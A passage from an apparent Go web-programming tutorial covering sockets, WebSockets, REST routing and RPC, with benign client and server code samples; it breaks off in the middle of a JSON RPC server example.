In this chapter, we introduced some text processing tools like XML, JSON, Regexp and we also talked about templates. XML and JSON are data exchange tools. You can represent almost any kind of information using these two formats. Regexp is a powerful tool for searching, replacing and cutting text content. With templates, you can easily combine dynamic data with static files. These tools are all useful when developing web applications. I hope that you now have a better understanding of processing and displaying content using Go.

Links

- Directory
- Previous section: Strings
- Next chapter: Web services

8 Web services

Web services allow you use formats like XML or JSON to exchange information through HTTP. For example, if you want to know the weather in Shanghai tomorrow, the current share price of Apple, or product information on Amazon, you can write a piece of code to fetch that information from open platforms. In Go, this process can be comparable to calling a local function and getting its return value.

The key point is that web services are platform independent. This allows you to deploy your applications on Linux and interact with ASP.NET applications in Windows, for example, just like you wouldn't have a problem interacting with JSP on FreeBSD either.

The REST architecture and SOAP protocol are the most popular styles in which web services can be implemented these days:

- REST requests are pretty straight forward because it's based on HTTP. Every REST request is actually an HTTP request, and servers handle requests using different methods. Because many developers are familiar with HTTP already, REST should feel like it's already in their back pockets. We are going to show you how to implement REST in Go in section 8.3.
- SOAP is a standard for cross-network information transmission and remote computer function calls, launched by W3C. The problem with SOAP is that its specification is very long and complicated, and it's still getting longer. Go believes that things should be simple, so we're not going to talk about SOAP. Fortunately, Go provides support for RPC (Remote Procedure Calls) which has good performance and is easy to develop with, so we will introduce how to implement RPC in Go in section 8.4.

Go is the C language of the 21st century, aspiring to be simple yet performant. With these qualities in mind, we'll introduce you to socket programming in Go in section 8.1. Nowadays, many real-time servers use sockets to overcome the low performance of HTTP. Along with the rapid development of HTML5, websockets are now used by many web based game companies, and we will talk about this more in section 8.2.

Links

- Directory
- Previous Chapter: Chapter 7 Summary
- Next section: Sockets

8.1 Sockets

Some network application developers say that the lower application layers are all about socket programming. This may not be true for all cases, but many modern web applications do indeed use sockets to their advantage. Have you ever wondered how browsers communicate with web servers when you are surfing the internet? Or How MSN connects you and your friends together in a chatroom, relaying each message in real-time? Many services like these use sockets to transfer data. As you can see, sockets occupy an important position in network programming today, and we're going to learn about using sockets in Go in this section.

What is a socket？

Sockets originate from Unix, and given the basic "everything is a file" philosophy of Unix, everything can be operated on with "open -> write/read -> close". Sockets are one implementation of this philosophy. Sockets have a function call for opening a socket just like you would open a file. This returns an int descriptor of the socket which can then be used for operations like creating connections, transferring data, etc.

Two types of sockets that are commonly used are stream sockets (SOCK_STREAM) and datagram sockets (SOCK_DGRAM). Stream sockets are connection-oriented like TCP, while datagram sockets do not establish connections, like UDP.

Socket communication

Before we understand how sockets communicate with one another, we need to figure out how to make sure that every socket is unique, otherwise establishing a reliable communication channel is already out of the question. We can give every process a unique PID which serves our purpose locally, however that's not able to work over a network. Fortunately, TCP/IP helps us solve this problem. The IP addresses of the network layer are unique in a network of hosts, and "protocol + port" is also unique among host applications. So, we can use these principles to make sockets which are unique.

Figure 8.1 network protocol layers

Applications that are based on TCP/IP all use socket APIs in their code in one way or another. Given that networked applications are becoming more and more prevalent in the modern day, it's no wonder some developers are saying that "everything is about sockets".

Socket basic knowledge

We know that sockets have two types, which are TCP sockets and UDP sockets. TCP and UDP are protocols and, as mentioned, we also need an IP address and port number to have a unique socket.

IPv4

The global internet uses TCP/IP as its protocol, where IP is the network layer and a core part of TCP/IP. IPv4 signifies that its version is 4; infrastructure development to date has spanned over 30 years.

The number of bits in an IPv4 address is 32, which means that 2^32 devices are able to uniquely connect to the internet. Due to the rapid develop of the internet, IP addresses are already running out of stock in recent years.

Address format: `127.0.0.1` , `172.122.121.111` .

IPv6

IPv6 is the next version or next generation of the internet. It's being developed for solving many of the problems inherent with IPv4. Devices using IPv6 have an address that's 128 bits long, so we'll never need to worry about a shortage of unique addresses. To put this into perspective, you could have more than 1000 IP addresses for every square meter on earth with IPv6. Other problems like peer to peer connection, service quality (QoS), security, multiple broadcast, etc., are also be improved.

Address format: `2002:c0e8:82e7:0:0:0:c0e8:82e7`.

IP types in Go

The `net` package in Go provides many types, functions and methods for network programming. The definition of IP as follows:

```
type IP []byte
```

Function `ParseIP(s string) IP` is to convert the IPv4 or IPv6 format to an IP:

```
package main
import (
    "net"
    "os"
    "fmt"
)
func main() {
    if len(os.Args) != 2 {
        fmt.Fprintf(os.Stderr, "Usage: %s ip-addr\n", os.Args[0])
        os.Exit(1)
    }
    name := os.Args[1]
    addr := net.ParseIP(name)
    if addr == nil {
        fmt.Println("Invalid address")
    } else {
        fmt.Println("The address is ", addr.String())
    }
    os.Exit(0)
}
```

It returns the corresponding IP format for a given IP address.

TCP socket

What can we do when we know how to visit a web service through a network port? As a client, we can send a request to an appointed network port and gets its response; as a server, we need to bind a service to an appointed network port, wait for clients' requests and supply a response.

In Go's `net` package, there's a type called `TCPConn` that facilitates this kind of clients/servers interaction. This type has two key functions:

```
func (c *TCPConn) Write(b []byte) (n int, err os.Error)
func (c *TCPConn) Read(b []byte) (n int, err os.Error)
```

`TCPConn` can be used by either client or server for reading and writing data.

We also need a `TCPAddr` to represent TCP address information:

```
type TCPAddr struct {
    IP IP
    Port int
}
```

We use the `ResolveTCPAddr` function to get a `TCPAddr` in Go:

```
func ResolveTCPAddr(net, addr string) (*TCPAddr, os.Error)
```

- Arguments of `net` can be one of "tcp4", "tcp6" or "tcp", which each signify IPv4-only, IPv6-only, and either IPv4 or IPv6, respectively.
- `addr` can be a domain name or IP address, like "www.google.com:80" or "127.0.0.1:22".

TCP client

Go clients use the `DialTCP` function in the `net` package to create a TCP connection, which returns a `TCPConn` object; after a connection is established, the server has the same type of connection object for the current connection, and client and server can begin exchanging data with one another. In general, clients send requests to servers through a `TCPConn` and receive information from the server response; servers read and parse client requests, then return feedback. This connection will remain valid until either the client or server closes it. The function for creating a connection is as follows:

```
func DialTCP(net string, laddr, raddr *TCPAddr) (c *TCPConn, err os.Error)
```

- Arguments of `net` can be one of "tcp4", "tcp6" or "tcp", which each signify IPv4-only, IPv6-only, and either IPv4 or IPv6, respectively.
- `laddr` represents the local address, set it to `nil` in most cases.
- `raddr` represents the remote address.

Let's write a simple example to simulate a client requesting a connection to a server based on an HTTP request. We need a simple HTTP request header:

```
"HEAD / HTTP/1.0\r\n\r\n"
```

Server response information format may look like the following:

```
HTTP/1.0 200 OK
ETag: "-9985996"
Last-Modified: Thu, 25 Mar 2010 17:51:10 GMT
Content-Length: 18074
Connection: close
Date: Sat, 28 Aug 2010 00:43:48 GMT
Server: lighttpd/1.4.23
```

Client code:

```
package main

import (
    "fmt"
    "io/ioutil"
    "net"
    "os"
)

func main() {
    if len(os.Args) != 2 {
        fmt.Fprintf(os.Stderr, "Usage: %s host:port ", os.Args[0])
        os.Exit(1)
    }
    service := os.Args[1]
    tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
    checkError(err)
    conn, err := net.DialTCP("tcp", nil, tcpAddr)
    checkError(err)
    _, err = conn.Write([]byte("HEAD / HTTP/1.0\r\n\r\n"))
    checkError(err)
    result, err := ioutil.ReadAll(conn)
    checkError(err)
    fmt.Println(string(result))
    os.Exit(0)
}
func checkError(err error) {
    if err != nil {
        fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
        os.Exit(1)
    }
}
```

In the above example, we use user input as the `service` argument of `net.ResolveTCPAddr` to get a `tcpAddr`. Passing `tcpAddr` to the `DialTCP` function, we create a TCP connection, `conn`. We can then use `conn` to send request information to the server. Finally, we use `ioutil.ReadAll` to read all the content from `conn`, which contains the server response.

TCP server

We have a TCP client now. We can also use the `net` package to write a TCP server. On the server side, we need to bind our service to a specific inactive port and listen for any incoming client requests.

```
func ListenTCP(net string, laddr *TCPAddr) (l *TCPListener, err os.Error)
func (l *TCPListener) Accept() (c Conn, err os.Error)
```

The arguments required here are identical to those required by the `DialTCP` function we used earlier. Let's implement a time syncing service using port 7777:

```
package main

import (
    "fmt"
    "net"
    "os"
    "time"
)

func main() {
    service := ":7777"
    tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
    checkError(err)
    listener, err := net.ListenTCP("tcp", tcpAddr)
    checkError(err)
    for {
        conn, err := listener.Accept()
        if err != nil {
            continue
        }
        daytime := time.Now().String()
        conn.Write([]byte(daytime)) // don't care about return value
        conn.Close()                // we're finished with this client
    }
}
func checkError(err error) {
    if err != nil {
        fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
        os.Exit(1)
    }
}
```

After the service is started, it waits for client requests. When it receives a client request, it `Accept`s it and returns a response to the client containing information about the current time. It's worth noting that when errors occur in the `for` loop, the service continues running instead of exiting. Instead of crashing, the server will record the error to a server error log.

The above code is still not good enough, however. We didn't make use of goroutines, which would have allowed us to accept simultaneous requests. Let's do this now:

```
package main

import (
    "fmt"
    "net"
    "os"
    "time"
)

func main() {
    service := ":1200"
    tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
    checkError(err)
    listener, err := net.ListenTCP("tcp", tcpAddr)
    checkError(err)
    for {
        conn, err := listener.Accept()
        if err != nil {
            continue
        }
        go handleClient(conn)
    }
}

func handleClient(conn net.Conn) {
    defer conn.Close()
    daytime := time.Now().String()
    conn.Write([]byte(daytime)) // don't care about return value
    // we're finished with this client
}
func checkError(err error) {
    if err != nil {
        fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
        os.Exit(1)
    }
}
```

By separating out our business process from the `handleClient` function, and by using the `go` keyword, we've already implemented concurrency in our service. This is a good demonstration of the power and simplicity of goroutines.

Some of you may be thinking the following: this server does not do anything meaningful. What if we needed to send multiple requests for different time formats over a single connection? How would we do that?

```
package main

import (
    "fmt"
    "net"
    "os"
    "time"
    "strconv"
)

func main() {
    service := ":1200"
    tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
    checkError(err)
    listener, err := net.ListenTCP("tcp", tcpAddr)
    checkError(err)
    for {
        conn, err := listener.Accept()
        if err != nil {
            continue
        }
        go handleClient(conn)
    }
}

func handleClient(conn net.Conn) {
    conn.SetReadDeadline(time.Now().Add(2 * time.Minute)) // set 2 minutes timeout
    request := make([]byte, 128) // set maximum request length to 128B to prevent flood based attacks
    defer conn.Close()  // close connection before exit
    for {
        read_len, err := conn.Read(request)

        if err != nil {
            fmt.Println(err)
            break
        }

        if read_len == 0 {
            break // connection already closed by client
        } else if string(request[:read_len]) == "timestamp" {
            daytime := strconv.FormatInt(time.Now().Unix(), 10)
            conn.Write([]byte(daytime))
        } else {
            daytime := time.Now().String()
            conn.Write([]byte(daytime))
        }
    }
}

func checkError(err error) {
    if err != nil {
        fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
        os.Exit(1)
    }
}
```

In this example, we use `conn.Read()` to constantly read client requests. We cannot close the connection because clients may issue more than one request. Due to the timeout we set using `conn.SetReadDeadline()`, the connection closes automatically after our allotted time period. When the expiry time has elapsed, our program breaks from the `for` loop. Notice that `request` needs to be created with a max size limitation in order to prevent flood attacks.

Controlling TCP connections

Controlling TCP functions:

```
func DialTimeout(net, addr string, timeout time.Duration) (Conn, error)
```

Setting the timeout of connections. These are suitable for use on both clients and servers:

```
func (c *TCPConn) SetReadDeadline(t time.Time) error
func (c *TCPConn) SetWriteDeadline(t time.Time) error
```

Setting the write/read timeout of one connection:

```
func (c *TCPConn) SetKeepAlive(keepalive bool) os.Error
```

It's worth taking some time to think about how long you want your connection timeouts to be. Long connections can reduce the amount of overhead involved in creating connections and are good for applications that need to exchange data frequently.

For more detailed information, just look up the official documentation for Go's `net` package .

UDP sockets

The only difference between a UDP socket and a TCP socket is the processing method for dealing with multiple requests on server side. This arises from the fact that UDP does not have a function like `Accept` . All of the other functions have `UDP` counterparts; just replace `TCP` with `UDP` in the functions mentioned above.

```
func ResolveUDPAddr(net, addr string) (*UDPAddr, os.Error)
func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err os.Error)
func ListenUDP(net string, laddr *UDPAddr) (c *UDPConn, err os.Error)
func (c *UDPConn) ReadFromUDP(b []byte) (n int, addr *UDPAddr, err os.Error
func (c *UDPConn) WriteToUDP(b []byte, addr *UDPAddr) (n int, err os.Error)
```

UDP client code sample:

```
package main

import (
    "fmt"
    "net"
    "os"
)

func main() {
    if len(os.Args) != 2 {
        fmt.Fprintf(os.Stderr, "Usage: %s host:port", os.Args[0])
        os.Exit(1)
    }
    service := os.Args[1]
    udpAddr, err := net.ResolveUDPAddr("udp4", service)
    checkError(err)
    conn, err := net.DialUDP("udp", nil, udpAddr)
    checkError(err)
    _, err = conn.Write([]byte("anything"))
    checkError(err)
    var buf [512]byte
    n, err := conn.Read(buf[0:])
    checkError(err)
    fmt.Println(string(buf[0:n]))
    os.Exit(0)
}
func checkError(err error) {
    if err != nil {
        fmt.Fprintf(os.Stderr, "Fatal error ", err.Error())
        os.Exit(1)
    }
}
```

UDP server code sample:

```
package main

import (
    "fmt"
    "net"
    "os"
    "time"
)

func main() {
    service := ":1200"
    udpAddr, err := net.ResolveUDPAddr("udp4", service)
    checkError(err)
    conn, err := net.ListenUDP("udp", udpAddr)
    checkError(err)
    for {
        handleClient(conn)
    }
}
func handleClient(conn *net.UDPConn) {
    var buf [512]byte
    _, addr, err := conn.ReadFromUDP(buf[0:])
    if err != nil {
        return
    }
    daytime := time.Now().String()
    conn.WriteToUDP([]byte(daytime), addr)
}
func checkError(err error) {
    if err != nil {
        fmt.Fprintf(os.Stderr, "Fatal error ", err.Error())
        os.Exit(1)
    }
}
```

Summary

Through describing and coding some simple programs using TCP and UDP sockets, we can see that Go provides excellent support for socket programming, and that they are fun and easy to use. Go also provides many functions for building high performance socket applications.

Links

- Directory
- Previous section: Web services
- Next section: WebSocket

8.2 WebSockets

WebSockets are an important feature of HTML5. It implements browser based remote sockets, which allows browsers to have full-duplex communications with servers. Main stream browsers like Firefox, Google Chrome and Safari provide support for this WebSockets.

People often used "roll polling" for instant messaging services before WebSockets were born, which allow clients to send HTTP requests periodically. The server then returns the latest data to clients. The downside to this method is that it requires clients to keep sending many requests to the server, which can consume a large amount of bandwidth.

WebSockets use a special kind of header that reduces the number of handshakes required between browser and server to only one, for establishing a connection. This connection will remain active throughout its lifetime, and you can use JavaScript to write or read data from this connection, as in the case of a conventional TCP sockets. It solves many of the headache involved with real-time web development, and has the following advantages over traditional HTTP:

- Only one TCP connection for a single web client.
- WebSocket servers can push data to web clients.
- Lightweight header to reduce data transmission overhead.

WebSocket URLs begin with ws:// or wss://(SSL). The following figure shows the communication process of WebSockets. A particular HTTP header is sent to the server as part of the handshaking protocol and the connection is established. Then, servers or clients are able to send or receive data through JavaScript via WebSocket. This socket can then be used by an event handler to receive data asynchronously.

Figure 8.2 WebSocket principle

WebSocket principles

The WebSocket protocol is actually quite simple. After successfully completing the initial handshake, a connection is established. Subsequent data communications will all begin with "\x00" and end with "\xFF". This prefix and suffix will be visible to clients because the WebSocket will break off both end, yielding the raw data automatically.

WebSocket connections are requested by browsers and responded to by servers, after which the connection is established. This process is often called "handshaking".

Consider the following requests and responses:

Figure 8.3 WebSocket request and response.

"Sec-WebSocket-key" is generated randomly, as you may have already guessed, and it's base64 encoded. Servers need to append this key to a fixed string after accepting a request:

```
258EAFA5-E914-47DA-95CA-C5AB0DC85B11
```

Suppose we have `f7cb4ezEAl6C3wRaU6JORA==`, then we have:

```
f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11
```

Use sha1 to compute the binary value and use base64 to encode it. We will then we have:

```
rE91AJhfC+6JdVcVXOGJEADEJdQ=
```

Use this as the value of the `Sec-WebSocket-Accept` response header.

WebSocket in Go

The Go standard library does not support WebSockets. However the `websocket` package, which is a sub-package of `go.net` does, and is officially maintained and supported.

Use `go get` to install this package:

```
go get golang.org/x/net/websocket
```

WebSockets have both client and server sides. Let's see a simple example where a user inputs some information on the client side and sends it to the server through a WebSocket, followed by the server pushing information back to the client.

Client code:

```
<html>
<head></head>
<body>
    <script type="text/javascript">
        var sock = null;
        var wsuri = "ws://127.0.0.1:1234";

        window.onload = function() {

            console.log("onload");

            sock = new WebSocket(wsuri);

            sock.onopen = function() {
                console.log("connected to " + wsuri);
            }

            sock.onclose = function(e) {
                console.log("connection closed (" + e.code + ")");
            }

            sock.onmessage = function(e) {
                console.log("message received: " + e.data);
            }
        };

        function send() {
            var msg = document.getElementById('message').value;
            sock.send(msg);
        };
    </script>
    <h1>WebSocket Echo Test</h1>
    <form>
        <p>
            Message: <input id="message" type="text" value="Hello, world!">
        </p>
    </form>
    <button onclick="send();">Send Message</button>
</body>
</html>
```

As you can see, it's very easy to use the client side JavaScript functions to establish a connection. The `onopen` event gets triggered after successfully completing the aforementioned handshaking process. It tells the client that the connection has been created successfully. Clients attempting to open a connection typically bind to four events:

- 1）onopen: triggered after connection has been established.
- 2）onmessage: triggered after receiving a message.
- 3）onerror: triggered after an error has occurred.

- 4）onclose: triggered after the connection has closed.

Server code:

```
package main

import (
    "golang.org/x/net/websocket"
    "fmt"
    "log"
    "net/http"
)

func Echo(ws *websocket.Conn) {
    var err error

    for {
        var reply string

        if err = websocket.Message.Receive(ws, &reply); err != nil {
            fmt.Println("Can't receive")
            break
        }

        fmt.Println("Received back from client: " + reply)

        msg := "Received:  " + reply
        fmt.Println("Sending to client: " + msg)

        if err = websocket.Message.Send(ws, msg); err != nil {
            fmt.Println("Can't send")
            break
        }
    }
}

func main() {
    http.Handle("/", websocket.Handler(Echo))

    if err := http.ListenAndServe(":1234", nil); err != nil {
        log.Fatal("ListenAndServe:", err)
    }
}
```

When a client `Send`s user input information, the server `Receive`s it, and uses `Send` once again to return a response.

Figure 8.4 WebSocket server received information.

Through the example above, we can see that the client and server side implementation of WebSockets is very convenient. We can use the `net` package directly in Go. With the rapid development of HTML5, I think that WebSockets will take on a much more important role in modern day web development; we should all be at least a little bit familiar with them.

Links

- Directory
- Previous section: Sockets
- Next section: REST

8.3 REST

REST is the most popular software architecture on the internet today because it is founded on well defined, strict standards and it's easy to understand and expand. More and more websites are basing their designs on top of REST. In this section, we are going to have a close look at implementing the REST architecture in Go and (hopefully) learn how to leverage it to our benefit.

What is REST?

The first declaration of the concept of REST (REpresentational State Transfer) was in the year 2000 in Roy Thomas Fielding's doctoral dissertation, who also just happens to be the co-founder of the HTTP protocol. It specifies the architecture's constraints and principles and anything implemented with this architecture can be called a RESTful system.

Before we understand what REST is, we need to cover the following concepts:

- Resources

  ```
  REST is the Presentation Layer State Transfer, where the presentation layer is actually the resource presentatio
  n layer.

  So what are resources? Pictures, documents or videos, etc., are all examples of resources and can be located by
  URI.
  ```

- Representation

  Resources are specific information entities that can be shown in a variety of ways within the presentation layer. For instance, a TXT document can be represented as HTML, JSON, XML, etc; an image can be represented as jpg, png, etc.

  URIs are used to identify resources, but how do we determine its specific manifestations? You are referred to the Accept and Content-Type in an HTTP request header; these two fields describe the presentation layer.

- State Transfer

  An interactive process is initiated between client and server each time you visit any page of a website. During this process, certain data related to the current page state need to be saved. However, you'll recall that HTTP is a stateless protocol! It's obvious that we need to save this client state on our server side. It follows that if a client modifies some data and wants to persist the changes, there must be a way to inform the server side about the new state.

  Most of the time, clients inform servers of state changes using HTTP. They have four operations with which to do this:

  -GET is used to obtain resources -POSTs is used to create or update resources -PUT updates resources -DELETE deletes resources

To summarize the above:

- （1）Every URI represents a resource.
- （2）There is a representation layer for transferring resources between clients and servers.
- （3）Clients use four HTTP methods to implement "Presentation Layer State Transfer", allowing them to operate on remote resources.

The most important principle of web applications that implement REST is that the interaction between clients and servers are stateless; every request should encapsulate all of the required information. Servers should be able to restart at any time without the clients being notified. In addition, requests can be responded by any server of the same service, which is ideal for cloud computing. Lastly, because it's stateless, clients can cache data for improving performance.

Another important principle of REST is system delamination, which means that components in one layer have no way of interacting directly with components in other layers. This can limit system complexity and encourage independence in the underlying components.

Figure 8.5 REST architecture

When RESTful constraints are judiciously abided by, web applications can be scaled to accommodate massive numbers of clients. Using the REST architecture can also help reduce delays between clients and servers, simplify system architecture and improve the visibility of sub-system end points.

Figure 8.6 REST's expansibility.

RESTful implementation

Go doesn't have direct support for REST, but since RESTful web applications are all HTTP-based, we can use the `net/http` package to implement it on our own. Of course, we will first need to make some modifications before we are able to fully implement REST.

REST uses different methods to handle resources, depending on the interaction that's required with that resource. Many existing applications claim to be RESTful but they do not actually implement REST. I'm going to categorize these applications into several levels depends on which HTTP methods they implement.

Figure 8.7 REST's level.

The picture above shows three levels that are currently implemented in REST. You may not choose to follow all the rules and constraints of REST when developing your own applications because sometimes its rules are not a good fit for all situations. RESTful web applications use every single HTTP method including `DELETE` and `PUT`, but in many cases, HTTP clients can only send `GET` and `POST` requests.

- HTML standard allows clients send `GET` and `POST` requests through links and forms. It's not possible to send `PUT` or `DELETE` requests without AJAX support.
- Some firewalls intercept `PUT` and `DELETE` requests and clients have to use POST in order to implement them. Fully RESTful services are in charge of finding the original HTTP methods and restoring them.

We can simulate `PUT` and `DELETE` requests by adding a hidden `_method` field in our POST requests, however these requests must be converted on the server side before they are processed. My personal applications use this workflow to implement REST interfaces. Standard RESTful interfaces are easily implemented in Go, as the following example demonstrates:

```
package main

import (
    "fmt"
    "github.com/julienschmidt/httprouter"
    "log"
    "net/http"
)

func Index(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
    fmt.Fprint(w, "Welcome!\n")
}

func Hello(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
    fmt.Fprintf(w, "hello, %s!\n", ps.ByName("name"))
}

func getuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
    uid := ps.ByName("uid")
    fmt.Fprintf(w, "you are get user %s", uid)
}

func modifyuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
    uid := ps.ByName("uid")
    fmt.Fprintf(w, "you are modify user %s", uid)
}

func deleteuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
    uid := ps.ByName("uid")
    fmt.Fprintf(w, "you are delete user %s", uid)
}

func adduser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
    // uid := r.FormValue("uid")
    uid := ps.ByName("uid")
    fmt.Fprintf(w, "you are add user %s", uid)
}

func main() {
    router := httprouter.New()
    router.GET("/", Index)
    router.GET("/hello/:name", Hello)

    router.GET("/user/:uid", getuser)
    router.POST("/adduser/:uid", adduser)
    router.DELETE("/deluser/:uid", deleteuser)
    router.PUT("/moduser/:uid", modifyuser)

    log.Fatal(http.ListenAndServe(":8080", router))
}
```

This sample code shows you how to write a very basic REST application. Our resources are users, and we use different functions for different methods. Here, we imported a third-party package called `github.com/julienschmidt/httprouter`. We've already covered how to implement a custom router in previous chapters -the `julienschmidt/httprouter` package implements some very convenient router mapping rules that make it very convenient for implementing RESTful architecture. As you can see, REST requires you to implement different logic for different HTTP methods of the same resource.

Summary

REST is a style of web architecture, building on past successful experiences with WWW: statelessness, resource-centric, full use of HTTP and URI protocols and the provision of unified interfaces. These superior design considerations have allowed REST to become the most popular web services standard. In a sense, by emphasizing the URI and leveraging

early Internet standards such as HTTP, REST has paved the way for large and scalable web applications. Currently, the support that Go has For REST is still very basic. However, by implementing custom routing rules and different request handlers for each type of HTTP request, we can achieve RESTful architecture in our Go webapps.

Links

- Directory
- Previous section: WebSocket
- Next section: RPC

8.4 RPC

In previous sections we talked about how to write network applications based on Sockets and HTTP. We learned that both of them use the "information exchange" model, in which clients send requests and servers respond to them. This kind of data exchange is based on a specific format so that both sides are able to communicate with one another. However, many independent applications do not use this model, but instead call services just like they would call normal functions.

RPC was intended to be the function call mode for networked systems. Clients execute RPCs like they call native functions, except they package the function parameters and send them through the network to the server. The server can then unpack these parameters and process the request, executing the results back to the client.

In computer science, a remote procedure call (RPC) is a type of inter-process communication that allows a computer program to cause a subroutine or procedure to execute in another address space (commonly on another computer on a shared network) without the programmer explicitly coding the details for this remote interaction. That is, the programmer writes essentially the same code whether the subroutine is local to the executing program, or remote. When the software in question uses object-oriented principles, RPC is called remote invocation or remote method invocation.

RPC working principle

Figure 8.8 RPC working principle

Normally, an RPC call from client to server has the following ten steps:

- 1. Call the client handle, execute transfer arguments.
- 1. Call local system kernel to send network messages.
- 1. Send messages to remote hosts.
- 1. The server receives handle and arguments.
- 1. Execute remote processes.
- 1. Return execution result to corresponding handle.
- 1. The server handle calls remote system kernel.
- 1. Messages sent back to local system kernel.
- 1. The client handle receives messages from system kernel.
- 1. The client gets results from corresponding handle.

Go RPC

Go has official support for RPC in its standard library on three levels, which are TCP, HTTP and JSON RPC. Note that Go RPC is not like other traditional RPC systems. It requires you to use Go applications on both client and server sides because it encodes content using Gob.

Functions of Go RPC must abide by the following rules for remote access, otherwise the corresponding calls will be ignored.

- Functions are exported (capitalized).
- Functions must have two arguments with exported types.
- The first argument is for receiving from the client, and the second one has to be a pointer and is for replying to the client.
- Functions must have a return value of error type.

For example:

```
func (t *T) MethodName(argType T1, replyType *T2) error
```

Where T, T1 and T2 must be able to be encoded by the `package/gob` package.

Any kind of RPC has to go through a network to transfer data. Go RPC can either use HTTP or TCP. The benefits of using HTTP is that you can reuse some functions from the `net/http` package.

HTTP RPC

HTTP server side code:

```
package main

import (
    "errors"
    "fmt"
    "net/http"
    "net/rpc"
)

type Args struct {
    A, B int
}

type Quotient struct {
    Quo, Rem int
}

type Arith int

func (t *Arith) Multiply(args *Args, reply *int) error {
    *reply = args.A * args.B
    return nil
}

func (t *Arith) Divide(args *Args, quo *Quotient) error {
    if args.B == 0 {
        return errors.New("divide by zero")
    }
    quo.Quo = args.A / args.B
    quo.Rem = args.A % args.B
    return nil
}

func main() {

    arith := new(Arith)
    rpc.Register(arith)
    rpc.HandleHTTP()

    err := http.ListenAndServe(":1234", nil)
    if err != nil {
        fmt.Println(err.Error())
    }
}
```

We registered a RPC service of Arith, then registered this service on HTTP through `rpc.HandleHTTP`. After that, we are able to transfer data through HTTP.

Client side code:

```
package main

import (
    "fmt"
    "log"
    "net/rpc"
    "os"
)

type Args struct {
    A, B int
}

type Quotient struct {
    Quo, Rem int
}


func main() {
    if len(os.Args) != 2 {
        fmt.Println("Usage: ", os.Args[0], "server")
        os.Exit(1)
    }
    serverAddress := os.Args[1]

    client, err := rpc.DialHTTP("tcp", serverAddress+":1234")
    if err != nil {
        log.Fatal("dialing:", err)
    }
    // Synchronous call
    args := Args{17, 8}
    var reply int
    err = client.Call("Arith.Multiply", args, &reply)
    if err != nil {
        log.Fatal("arith error:", err)
    }
    fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)

    var quot Quotient
    err = client.Call("Arith.Divide", args, &quot)
    if err != nil {
        log.Fatal("arith error:", err)
    }
    fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)

}
```

We compile the client and the server side code separately then start the server and client. You'll then have something similar as follows after you input some data.

```
$ ./http_c localhost
Arith: 17*8=136
Arith: 17/8=2 remainder 1
```

As you can see, we defined a struct for the return type. We use it as type of function argument on the server side, and as the type of the second and third arguments on the client `client.Call`. This call is very important. It has three arguments, where the first one is the name of the function that is going to be called, the second is the argument you want to pass, and the last one is the return value (of pointer type). So far we see that it's easy to implement RPC in Go.

TCP RPC

Let's try the RPC that is based on TCP, here is the server side code:

```
package main

import (
    "errors"
    "fmt"
    "net"
    "net/rpc"
    "os"
)

type Args struct {
    A, B int
}

type Quotient struct {
    Quo, Rem int
}

type Arith int

func (t *Arith) Multiply(args *Args, reply *int) error {
    *reply = args.A * args.B
    return nil
}

func (t *Arith) Divide(args *Args, quo *Quotient) error {
    if args.B == 0 {
        return errors.New("divide by zero")
    }
    quo.Quo = args.A / args.B
    quo.Rem = args.A % args.B
    return nil
}

func main() {

    arith := new(Arith)
    rpc.Register(arith)

    tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")
    checkError(err)

    listener, err := net.ListenTCP("tcp", tcpAddr)
    checkError(err)

    for {
        conn, err := listener.Accept()
        if err != nil {
            continue
        }
        rpc.ServeConn(conn)
    }

}

func checkError(err error) {
    if err != nil {
        fmt.Println("Fatal error ", err.Error())
        os.Exit(1)
    }
}
```

The difference between HTTP RPC and TCP RPC is that we have to control connections by ourselves if we use TCP RPC, then pass connections to RPC for processing.

As you may have guessed, this is a blocking pattern. You are free to use goroutines to extend this application as a more advanced experiment.

The client side code:

```
package main

import (
    "fmt"
    "log"
    "net/rpc"
    "os"
)

type Args struct {
    A, B int
}

type Quotient struct {
    Quo, Rem int
}

func main() {
    if len(os.Args) != 2 {
        fmt.Println("Usage: ", os.Args[0], "server:port")
        os.Exit(1)
    }
    service := os.Args[1]

    client, err := rpc.Dial("tcp", service)
    if err != nil {
        log.Fatal("dialing:", err)
    }
    // Synchronous call
    args := Args{17, 8}
    var reply int
    err = client.Call("Arith.Multiply", args, &reply)
    if err != nil {
        log.Fatal("arith error:", err)
    }
    fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)

    var quot Quotient
    err = client.Call("Arith.Divide", args, &quot)
    if err != nil {
        log.Fatal("arith error:", err)
    }
    fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)

}
```

The only difference in the client side code is that HTTP clients use DialHTTP whereas TCP clients use Dial(TCP).

JSON RPC

JSON RPC encodes data to JSON instead of gob. Let's see an example of a Go JSON RPC on the server:

```
package main

import (
    "errors"
    "fmt"
    "net"
    "net/rpc"
    "net/rpc/jsonrpc"
    "os"
)

type Args struct {
    A, B int
}

type Quotient struct {
    Quo, Rem int
}

type Arith int

func (t *Arith) Multiply(args *Args, reply *int) error {
    *reply = args.A * args.B
    return nil
}

func (t *Arith) Divide(args *Args, quo *Quotient) error {
    if args.B == 0 {
        return errors.New("divide by zero")
    }
    quo.Quo = args.A / args.B
    quo.Rem = args.A % args.B
    return nil
}

func main() {

    arith := new(Arith)
    rpc.Register(arith)

    tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")
    checkError(err)

    listener, err := net.ListenTCP("tcp", tcpAddr)
    checkError(err)

    for {
